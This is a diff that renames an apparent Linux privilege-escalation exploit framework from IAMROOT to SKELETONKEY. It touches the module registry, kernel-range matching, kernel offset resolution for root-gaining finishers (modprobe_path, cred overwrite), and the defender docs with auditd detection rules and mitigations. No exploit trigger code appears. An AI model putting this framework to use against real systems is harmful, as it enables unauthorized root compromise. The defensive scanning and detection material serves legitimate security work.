*arb_ctx, bool spawn_shell); /* Diagnostic: tell the operator how to populate offsets manually. */ -void iamroot_finisher_print_offset_help(const char *module_name); +void skeletonkey_finisher_print_offset_help(const char *module_name); -#endif /* IAMROOT_FINISHER_H */ +#endif /* SKELETONKEY_FINISHER_H */ diff --git a/core/kernel_range.c b/core/kernel_range.c index 57f9b41..9c3159b 100644 --- a/core/kernel_range.c +++ b/core/kernel_range.c @@ -1,5 +1,5 @@ /* - * IAMROOT — kernel_range implementation + * SKELETONKEY — kernel_range implementation */ #include "kernel_range.h" @@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out) if (uname(&u) < 0) return false; /* Stash release string for callers that want to print it. We hold - * a single static buffer; not threadsafe but iamroot is single- + * a single static buffer; not threadsafe but skeletonkey is single- * threaded today. */ snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release); out->release = g_release_buf; diff --git a/core/kernel_range.h b/core/kernel_range.h index 650a5e3..6691c4c 100644 --- a/core/kernel_range.h +++ b/core/kernel_range.h @@ -1,5 +1,5 @@ /* - * IAMROOT — kernel version range matching + * SKELETONKEY — kernel version range matching * * Every CVE module needs to answer "is the host kernel in the affected * range?". This file centralizes that. @@ -17,8 +17,8 @@ * patch version is at or above the threshold. */ -#ifndef IAMROOT_KERNEL_RANGE_H -#define IAMROOT_KERNEL_RANGE_H +#ifndef SKELETONKEY_KERNEL_RANGE_H +#define SKELETONKEY_KERNEL_RANGE_H #include #include @@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out); bool kernel_range_is_patched(const struct kernel_range *r, const struct kernel_version *v); -#endif /* IAMROOT_KERNEL_RANGE_H */ +#endif /* SKELETONKEY_KERNEL_RANGE_H */ diff --git a/core/module.h b/core/module.h index 6ce58cc..b09e862 100644 --- a/core/module.h +++ b/core/module.h @@ -1,49 +1,49 @@ /* - * IAMROOT — core module interface + * SKELETONKEY — core module interface * - * Every CVE module exports one or more `struct iamroot_module` entries - * via a registry function. The top-level dispatcher (iamroot.c) walks + * Every CVE module exports one or more `struct skeletonkey_module` entries + * via a registry function. The top-level dispatcher (skeletonkey.c) walks * the global registry to implement --scan, --exploit, --mitigate, etc. * * This is intentionally a small interface. Modules carry the * complexity; the dispatcher just routes. */ -#ifndef IAMROOT_MODULE_H -#define IAMROOT_MODULE_H +#ifndef SKELETONKEY_MODULE_H +#define SKELETONKEY_MODULE_H #include #include /* Standard result codes returned by detect()/exploit()/mitigate(). * - * These map to top-level exit codes when iamroot is invoked with a + * These map to top-level exit codes when skeletonkey is invoked with a * single-module operation: * - * IAMROOT_OK exit 0 detect: not vulnerable / clean - * IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable - * IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing - * IAMROOT_TEST_ERROR exit 1 detect/exploit: error - * IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved) - * IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land + * SKELETONKEY_OK exit 0 detect: not vulnerable / clean + * SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable + * SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing + * SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error + * SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved) + * SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land * * Implementation note: copy_fail_family's df_result_t shares these * numeric values intentionally so the family code can return its * existing constants without translation. */ typedef enum { - IAMROOT_OK = 0, - IAMROOT_TEST_ERROR = 1, - IAMROOT_VULNERABLE = 2, - IAMROOT_EXPLOIT_FAIL = 3, - IAMROOT_PRECOND_FAIL = 4, - IAMROOT_EXPLOIT_OK = 5, -} iamroot_result_t; + SKELETONKEY_OK = 0, + SKELETONKEY_TEST_ERROR = 1, + SKELETONKEY_VULNERABLE = 2, + SKELETONKEY_EXPLOIT_FAIL = 3, + SKELETONKEY_PRECOND_FAIL = 4, + SKELETONKEY_EXPLOIT_OK = 5, +} skeletonkey_result_t; /* Per-invocation context passed to module callbacks. Lightweight for * now; will grow as modules need shared state (host fingerprint, * leaked kbase, etc.). */ -struct iamroot_ctx { +struct skeletonkey_ctx { bool no_color; /* --no-color */ bool json; /* --json (machine-readable output) */ bool active_probe; /* --active (do invasive probes in detect) */ @@ -52,8 +52,8 @@ struct iamroot_ctx { bool full_chain; /* --full-chain (attempt root-pop after primitive) */ }; -struct iamroot_module { - /* Short id used on the command line: `iamroot --exploit copy_fail`. */ +struct skeletonkey_module { + /* Short id used on the command line: `skeletonkey --exploit copy_fail`. */ const char *name; /* CVE identifier (or "VARIANT" if no CVE assigned). */ @@ -71,20 +71,20 @@ struct iamroot_module { const char *kernel_range; /* Probe the host. Should be side-effect-free unless ctx->active_probe - * is true. Return IAMROOT_VULNERABLE if confirmed, - * IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched - * or otherwise immune, IAMROOT_TEST_ERROR on probe error. */ - iamroot_result_t (*detect)(const struct iamroot_ctx *ctx); + * is true. Return SKELETONKEY_VULNERABLE if confirmed, + * SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched + * or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */ + skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx); /* Run the exploit. Caller has already passed the --i-know gate. */ - iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx); + skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx); /* Apply a temporary mitigation. NULL if none offered. */ - iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx); + skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx); /* Undo --exploit (e.g. evict from page cache) or --mitigate side * effects. NULL if no cleanup applies. */ - iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx); + skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx); /* Detection rule corpus — embedded so the binary is self- * contained. Each may be NULL if this module ships no rules for @@ -96,4 +96,4 @@ struct iamroot_module { const char *detect_falco; /* falco rules content */ }; -#endif /* IAMROOT_MODULE_H */ +#endif /* SKELETONKEY_MODULE_H */ diff --git a/core/offsets.c b/core/offsets.c index 41d03b1..dba63c4 100644 --- a/core/offsets.c +++ b/core/offsets.c @@ -1,5 +1,5 @@ /* - * IAMROOT — kernel offset resolution + * SKELETONKEY — kernel offset resolution * * See offsets.h for the four-source chain (env → kallsyms → System.map * → embedded table). This implementation is deliberately small and @@ -69,7 +69,7 @@ static const struct table_entry kernel_table[] = { #define DEFAULT_CRED_EFF_OFFSET 0x740 #define DEFAULT_CRED_UID_OFFSET 0x4 -const char *iamroot_offset_source_name(enum iamroot_offset_source src) +const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src) { switch (src) { case OFFSETS_NONE: return "none"; @@ -117,42 +117,42 @@ static void read_distro(char *out, size_t sz) /* ------------------------------------------------------------------ * Source 1: environment variables * ------------------------------------------------------------------ */ -static void apply_env(struct iamroot_kernel_offsets *o) +static void apply_env(struct skeletonkey_kernel_offsets *o) { const char *v; uintptr_t a; - if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) { + if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) { if (!o->kbase) o->kbase = a; } - if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) { + if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) { if (!o->modprobe_path) { o->modprobe_path = a; o->source_modprobe = OFFSETS_FROM_ENV; } } - if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) { + if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) { if (!o->poweroff_cmd) o->poweroff_cmd = a; } - if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) { + if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) { if (!o->init_task) { o->init_task = a; o->source_init_task = OFFSETS_FROM_ENV; } } - if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) { + if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) { if (!o->init_cred) o->init_cred = a; } - if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) { + if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) { if (!o->cred_offset_real) { o->cred_offset_real = (uint32_t)a; o->source_cred = OFFSETS_FROM_ENV; } } - if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) { + if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) { if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a; } - if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) { + if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) { if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a; } } @@ -162,8 +162,8 @@ static void apply_env(struct iamroot_kernel_offsets *o) * the same "ADDR TYPE NAME" format). * ------------------------------------------------------------------ */ static int parse_symfile(const char *path, - struct iamroot_kernel_offsets *o, - enum iamroot_offset_source tag) + struct skeletonkey_kernel_offsets *o, + enum skeletonkey_offset_source tag) { FILE *f = fopen(path, "r"); if (!f) return 0; @@ -225,7 +225,7 @@ static int parse_symfile(const char *path, * Source 4: embedded table — relative offsets, applied on top of kbase * if we already have one. * ------------------------------------------------------------------ */ -static void apply_table(struct iamroot_kernel_offsets *o) +static void apply_table(struct skeletonkey_kernel_offsets *o) { if (!o->kernel_release[0]) return; @@ -268,7 +268,7 @@ static void apply_table(struct iamroot_kernel_offsets *o) /* ------------------------------------------------------------------ * Top-level resolve() * ------------------------------------------------------------------ */ -int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out) +int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out) { memset(out, 0, sizeof *out); @@ -313,7 +313,7 @@ int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out) return critical; } -void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off, +void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off, uintptr_t leaked_kbase) { if (!leaked_kbase) return; @@ -322,18 +322,18 @@ void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off, apply_table(off); } -bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off) +bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off) { return off && off->modprobe_path != 0; } -bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off) +bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off) { return off && off->init_task != 0 && off->cred_offset_real != 0 && off->cred_uid_offset != 0; } -void iamroot_offsets_print(const struct iamroot_kernel_offsets *off) +void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off) { fprintf(stderr, "[i] offsets: release=%s distro=%s\n", off->kernel_release[0] ? off->kernel_release : "?", @@ -341,10 +341,10 @@ void iamroot_offsets_print(const struct iamroot_kernel_offsets *off) fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n", (unsigned long)off->kbase, (unsigned long)off->modprobe_path, - iamroot_offset_source_name(off->source_modprobe)); + skeletonkey_offset_source_name(off->source_modprobe)); fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n", (unsigned long)off->init_task, - iamroot_offset_source_name(off->source_init_task), + skeletonkey_offset_source_name(off->source_init_task), off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset, - iamroot_offset_source_name(off->source_cred)); + skeletonkey_offset_source_name(off->source_cred)); } diff --git a/core/offsets.h b/core/offsets.h index def0702..3fd3cae 100644 --- a/core/offsets.h +++ b/core/offsets.h @@ -1,5 +1,5 @@ /* - * IAMROOT — kernel offset resolution + * SKELETONKEY — kernel offset resolution * * The 🟡 PRIMITIVE modules each have a trigger that lands a primitive * (heap-OOB write, UAF, etc.). Converting that to root requires @@ -10,7 +10,7 @@ * Those addresses vary per kernel build. This file resolves them at * runtime via a four-source chain: * - * 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...) + * 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...) * 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root) * 3. /boot/System.map-$(uname -r) (world-readable on some distros) * 4. Embedded table keyed by `uname -r` glob (entries are @@ -22,14 +22,14 @@ * pointing the operator at the manual workflow. */ -#ifndef IAMROOT_OFFSETS_H -#define IAMROOT_OFFSETS_H +#ifndef SKELETONKEY_OFFSETS_H +#define SKELETONKEY_OFFSETS_H #include #include #include -enum iamroot_offset_source { +enum skeletonkey_offset_source { OFFSETS_NONE = 0, OFFSETS_FROM_ENV = 1, OFFSETS_FROM_KALLSYMS = 2, @@ -37,13 +37,13 @@ enum iamroot_offset_source { OFFSETS_FROM_TABLE = 4, }; -struct iamroot_kernel_offsets { +struct skeletonkey_kernel_offsets { /* Host fingerprint */ char kernel_release[128]; /* uname -r */ char distro[64]; /* parsed from /etc/os-release ID= */ /* Kernel base — needed when offsets are relative-to-_text. - * Set by iamroot_offsets_apply_kbase_leak() after EntryBleed runs. */ + * Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */ uintptr_t kbase; /* Symbol virtual addresses (final, post-KASLR-resolution). */ @@ -58,9 +58,9 @@ struct iamroot_kernel_offsets { uint32_t cred_uid_offset; /* offset of uid_t uid in cred (almost always 4) */ /* Where did each field come from. */ - enum iamroot_offset_source source_modprobe; - enum iamroot_offset_source source_init_task; - enum iamroot_offset_source source_cred; + enum skeletonkey_offset_source source_modprobe; + enum skeletonkey_offset_source source_init_task; + enum skeletonkey_offset_source source_cred; }; /* Best-effort resolution. Returns the number of critical fields @@ -69,25 +69,25 @@ struct iamroot_kernel_offsets { * * Resolution chain is tried in order; later sources do NOT overwrite * a field already set by an earlier source. */ -int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out); +int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out); /* Apply a runtime-leaked kbase to any embedded-table entries that * shipped as relative-to-_text offsets. Idempotent. */ -void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off, +void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off, uintptr_t leaked_kbase); /* Returns true if modprobe_path can be written (the simplest root-pop * finisher). */ -bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off); +bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off); /* Returns true if init_task + cred offsets are known (the cred-uid * finisher). */ -bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off); +bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off); /* For diagnostic logging — pretty-print what we resolved to stderr. */ -void iamroot_offsets_print(const struct iamroot_kernel_offsets *off); +void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off); /* Helper: return the name of the source enum. */ -const char *iamroot_offset_source_name(enum iamroot_offset_source src); +const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src); -#endif /* IAMROOT_OFFSETS_H */ +#endif /* SKELETONKEY_OFFSETS_H */ diff --git a/core/registry.c b/core/registry.c index 891cb19..de37bce 100644 --- a/core/registry.c +++ b/core/registry.c @@ -1,5 +1,5 @@ /* - * IAMROOT — module registry implementation + * SKELETONKEY — module registry implementation * * Simple flat array. Resized in chunks of 16. We never expect more * than a few dozen modules, so this is fine. @@ -14,22 +14,22 @@ #define REGISTRY_CHUNK 16 -static const struct iamroot_module **g_modules = NULL; +static const struct skeletonkey_module **g_modules = NULL; static size_t g_count = 0; static size_t g_cap = 0; -void iamroot_register(const struct iamroot_module *m) +void skeletonkey_register(const struct skeletonkey_module *m) { if (m == NULL || m->name == NULL) { - fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n"); + fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n"); return; } if (g_count == g_cap) { size_t new_cap = g_cap + REGISTRY_CHUNK; - const struct iamroot_module **n = + const struct skeletonkey_module **n = realloc((void *)g_modules, new_cap * sizeof(*g_modules)); if (n == NULL) { - fprintf(stderr, "[!] iamroot_register: OOM\n"); + fprintf(stderr, "[!] skeletonkey_register: OOM\n"); return; } g_modules = n; @@ -38,18 +38,18 @@ void iamroot_register(const struct iamroot_module *m) g_modules[g_count++] = m; } -size_t iamroot_module_count(void) +size_t skeletonkey_module_count(void) { return g_count; } -const struct iamroot_module *iamroot_module_at(size_t i) +const struct skeletonkey_module *skeletonkey_module_at(size_t i) { if (i >= g_count) return NULL; return g_modules[i]; } -const struct iamroot_module *iamroot_module_find(const char *name) +const struct skeletonkey_module *skeletonkey_module_find(const char *name) { if (name == NULL) return NULL; for (size_t i = 0; i < g_count; i++) { diff --git a/core/registry.h b/core/registry.h index 9d29cc5..201099b 100644 --- a/core/registry.h +++ b/core/registry.h @@ -1,44 +1,44 @@ /* - * IAMROOT — module registry + * SKELETONKEY — module registry * * Global list of registered modules. Each family contributes via - * register__modules() called from iamroot main() at startup. + * register__modules() called from skeletonkey main() at startup. */ -#ifndef IAMROOT_REGISTRY_H -#define IAMROOT_REGISTRY_H +#ifndef SKELETONKEY_REGISTRY_H +#define SKELETONKEY_REGISTRY_H #include "module.h" -void iamroot_register(const struct iamroot_module *m); +void skeletonkey_register(const struct skeletonkey_module *m); -size_t iamroot_module_count(void); -const struct iamroot_module *iamroot_module_at(size_t i); +size_t skeletonkey_module_count(void); +const struct skeletonkey_module *skeletonkey_module_at(size_t i); /* Find a module by name. Returns NULL if not found. */ -const struct iamroot_module *iamroot_module_find(const char *name); +const struct skeletonkey_module *skeletonkey_module_find(const char *name); /* Each module family declares one of these in its public header. The - * top-level iamroot main() calls them in order at startup. */ -void iamroot_register_copy_fail_family(void); -void iamroot_register_dirty_pipe(void); -void iamroot_register_entrybleed(void); -void iamroot_register_pwnkit(void); -void iamroot_register_nf_tables(void); -void iamroot_register_overlayfs(void); -void iamroot_register_cls_route4(void); -void iamroot_register_dirty_cow(void); -void iamroot_register_ptrace_traceme(void); -void iamroot_register_netfilter_xtcompat(void); -void iamroot_register_af_packet(void); -void iamroot_register_fuse_legacy(void); -void iamroot_register_stackrot(void); -void iamroot_register_af_packet2(void); -void iamroot_register_cgroup_release_agent(void); -void iamroot_register_overlayfs_setuid(void); -void iamroot_register_nft_set_uaf(void); -void iamroot_register_af_unix_gc(void); -void iamroot_register_nft_fwd_dup(void); -void iamroot_register_nft_payload(void); + * top-level skeletonkey main() calls them in order at startup. */ +void skeletonkey_register_copy_fail_family(void); +void skeletonkey_register_dirty_pipe(void); +void skeletonkey_register_entrybleed(void); +void skeletonkey_register_pwnkit(void); +void skeletonkey_register_nf_tables(void); +void skeletonkey_register_overlayfs(void); +void skeletonkey_register_cls_route4(void); +void skeletonkey_register_dirty_cow(void); +void skeletonkey_register_ptrace_traceme(void); +void skeletonkey_register_netfilter_xtcompat(void); +void skeletonkey_register_af_packet(void); +void skeletonkey_register_fuse_legacy(void); +void skeletonkey_register_stackrot(void); +void skeletonkey_register_af_packet2(void); +void skeletonkey_register_cgroup_release_agent(void); +void skeletonkey_register_overlayfs_setuid(void); +void skeletonkey_register_nft_set_uaf(void); +void skeletonkey_register_af_unix_gc(void); +void skeletonkey_register_nft_fwd_dup(void); +void skeletonkey_register_nft_payload(void); -#endif /* IAMROOT_REGISTRY_H */ +#endif /* SKELETONKEY_REGISTRY_H */ diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md index 91159b4..ef67687 100644 --- a/docs/ARCHITECTURE.md +++ b/docs/ARCHITECTURE.md @@ -14,7 +14,7 @@ modules// ├── MODULE.md # Human-readable writeup of the bug ├── NOTICE.md # Credits to original researcher ├── kernel-range.json # Machine-readable affected kernels -├── module.c # Implements iamroot_module interface +├── module.c # Implements skeletonkey_module interface ├── module.h ├── detect/ │ ├── auditd.rules # blue team detection @@ -24,10 +24,10 @@ modules// └── tests/ # per-module tests (run in CI matrix) ``` -### `iamroot_module` interface (planned, Phase 1) +### `skeletonkey_module` interface (planned, Phase 1) ```c -struct iamroot_module { +struct skeletonkey_module { const char *name; /* "copy_fail" */ const char *cve; /* "CVE-2026-31431" */ const char *summary; /* one-line description */ @@ -35,29 +35,29 @@ struct iamroot_module { /* Return 1 if host appears vulnerable, 0 if patched/immune, * -1 if probe couldn't run. May call entrybleed_leak_kbase() * etc. from core/ if a leak primitive is needed. */ - int (*detect)(struct iamroot_host *host); + int (*detect)(struct skeletonkey_host *host); /* Run the exploit. Caller has already passed the * authorization gate. Returns 0 on root acquired, * nonzero on failure. */ - int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts); + int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts); /* Apply a runtime mitigation for this CVE (sysctl, module * blacklist, etc.). Returns 0 on success. NULL if no * mitigation is offered. */ - int (*mitigate)(struct iamroot_host *host); + int (*mitigate)(struct skeletonkey_host *host); /* Undo --exploit-backdoor or --mitigate side effects. */ - int (*cleanup)(struct iamroot_host *host); + int (*cleanup)(struct skeletonkey_host *host); /* Affected kernel version range, distros covered, etc. */ - const struct iamroot_kernel_range *ranges; + const struct skeletonkey_kernel_range *ranges; size_t n_ranges; }; ``` Modules register themselves at link time via a constructor-attribute -table. The top-level `iamroot` binary iterates the registry on each +table. The top-level `skeletonkey` binary iterates the registry on each invocation. ## Shared `core/` @@ -78,7 +78,7 @@ Code that more than one module needs lives in `core/`: ## Top-level dispatcher -`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities: +`skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities: 1. Parse args (`--scan`, `--exploit `, `--mitigate`, `--detect-rules`, `--cleanup`, etc.) @@ -109,7 +109,7 @@ the module). 1. `git checkout -b add-cve-XXXX-NNNN` 2. `cp -r modules/_stubs/_template modules/` 3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json` -4. Implement `module.c` exposing the `iamroot_module` interface +4. Implement `module.c` exposing the `skeletonkey_module` interface 5. Ship at least one detection rule under `detect/` 6. Add tests under `tests/` 7. PR. CI runs the matrix. If it lands root on at least one diff --git a/docs/DEFENDERS.md b/docs/DEFENDERS.md index 0467ea0..4c7faca 100644 --- a/docs/DEFENDERS.md +++ b/docs/DEFENDERS.md @@ -1,25 +1,25 @@ -# IAMROOT for defenders +# SKELETONKEY for defenders -IAMROOT is dual-use: the same binary that runs exploits also ships the +SKELETONKEY is dual-use: the same binary that runs exploits also ships the detection rules to spot them. This document is for the blue team. ## TL;DR ```bash # 1. Detect what you're vulnerable to (no system modification) -sudo iamroot --scan --json | jq . +sudo skeletonkey --scan --json | jq . # 2. Deploy detection rules covering every bundled CVE -sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules +sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules sudo systemctl restart auditd # 3. (Optional) Apply pre-patch mitigations for vulnerable families -sudo iamroot --mitigate copy_fail # or whatever module reports VULNERABLE +sudo skeletonkey --mitigate copy_fail # or whatever module reports VULNERABLE # 4. Watch -sudo ausearch -k iamroot-copy-fail -ts recent -sudo ausearch -k iamroot-dirty-pipe -ts recent -sudo ausearch -k iamroot-pwnkit -ts recent +sudo ausearch -k skeletonkey-copy-fail -ts recent +sudo ausearch -k skeletonkey-dirty-pipe -ts recent +sudo ausearch -k skeletonkey-pwnkit -ts recent ``` ## Why a single tool for offense and defense @@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent Public LPE PoCs ship without detection rules. Public detection rules ship without test corpora. The gap means defenders deploy rules they never validate against a real exploit, and attackers iterate against -defenders who haven't tuned thresholds. IAMROOT closes that loop: +defenders who haven't tuned thresholds. SKELETONKEY closes that loop: - Each module ships an exploit AND the detection rules that catch it. - Every CVE in `CVES.md` has a row in the rule corpus. @@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop: ### Inventory what's bundled ```bash -iamroot --list +skeletonkey --list ``` Prints every registered module with CVE, family, and one-line summary. @@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary. ### Run all detectors ```bash -iamroot --scan # human-readable -iamroot --scan --json # one JSON object → SIEM ingest -iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")' +skeletonkey --scan # human-readable +skeletonkey --scan --json # one JSON object → SIEM ingest +skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")' ``` Result codes per module: @@ -63,23 +63,23 @@ Result codes per module: | `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 | | `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 | -`iamroot --scan` returns the WORST result code across all modules. +`skeletonkey --scan` returns the WORST result code across all modules. Use this in CI to fail builds that produce vulnerable images. ### Deploy detection rules ```bash # auditd (most environments) -sudo iamroot --detect-rules --format=auditd \ - | sudo tee /etc/audit/rules.d/99-iamroot.rules +sudo skeletonkey --detect-rules --format=auditd \ + | sudo tee /etc/audit/rules.d/99-skeletonkey.rules sudo augenrules --load # or systemctl restart auditd # Sigma (for SIEMs that ingest sigma) -iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml +skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml # YARA / Falco — placeholders for future modules; currently empty -iamroot --detect-rules --format=yara -iamroot --detect-rules --format=falco +skeletonkey --detect-rules --format=yara +skeletonkey --detect-rules --format=falco ``` Rules are emitted in registry order, deduplicated by string-pointer: @@ -91,19 +91,19 @@ auditd config). | Key | Modules | What it catches | |---|---|---| -| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su | -| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) | -| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) | -| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches | -| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) | -| `iamroot-pwnkit` | pwnkit | pkexec watch | -| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 | +| `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su | +| `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) | +| `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) | +| `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches | +| `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) | +| `skeletonkey-pwnkit` | pwnkit | pkexec watch | +| `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 | Search: ```bash -sudo ausearch -k iamroot-copy-fail -ts today -sudo ausearch -k iamroot-pwnkit -ts today +sudo ausearch -k skeletonkey-copy-fail -ts today +sudo ausearch -k skeletonkey-pwnkit -ts today ``` ### Mitigate (pre-patch) @@ -114,10 +114,10 @@ distro-portable workarounds: ```bash # Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc, # sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches. -sudo iamroot --mitigate copy_fail +sudo skeletonkey --mitigate copy_fail # Revert mitigation (e.g., before applying the real kernel patch) -sudo iamroot --cleanup copy_fail +sudo skeletonkey --cleanup copy_fail ``` Modules without `--mitigate` (dirty_pipe, entrybleed, pwnkit) report @@ -131,7 +131,7 @@ The `--scan --json` output is one-line-per-host friendly: ```bash # scan a host list via ssh for h in $(cat fleet.txt); do - ssh $h sudo iamroot --scan --json | jq --arg h "$h" '. + {host: $h}' + ssh $h sudo skeletonkey --scan --json | jq --arg h "$h" '. + {host: $h}' done | jq -s . > fleet-scan-$(date +%F).json # group by vulnerability @@ -148,9 +148,9 @@ modification. | Rule | False-positive shape | |---|---| -| `iamroot-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts | -| `iamroot-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts | -| `iamroot-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate | +| `skeletonkey-copy-fail-afalg` | strongSwan and IPsec daemons use AF_ALG legitimately — scope with `-F auid=` to exclude service accounts | +| `skeletonkey-dirty-pipe-splice` | nginx, HAProxy, kTLS use splice() heavily — scope with `-F gid!=33 -F gid!=99` for those service accounts | +| `skeletonkey-pwnkit-execve` | gnome-software, polkit's own dispatcher legitimately exec pkexec — scope by parent process if you can correlate | The shipped rules are starting points. Tune per environment. diff --git a/docs/DETECTION_PLAYBOOK.md b/docs/DETECTION_PLAYBOOK.md index 2101f9c..b64612e 100644 --- a/docs/DETECTION_PLAYBOOK.md +++ b/docs/DETECTION_PLAYBOOK.md @@ -1,6 +1,6 @@ -# IAMROOT detection playbook +# SKELETONKEY detection playbook -Operational guide for blue teams using IAMROOT defensively. Pairs +Operational guide for blue teams using SKELETONKEY defensively. Pairs with `docs/DEFENDERS.md` (the "what" reference) — this is the "how to make it part of your 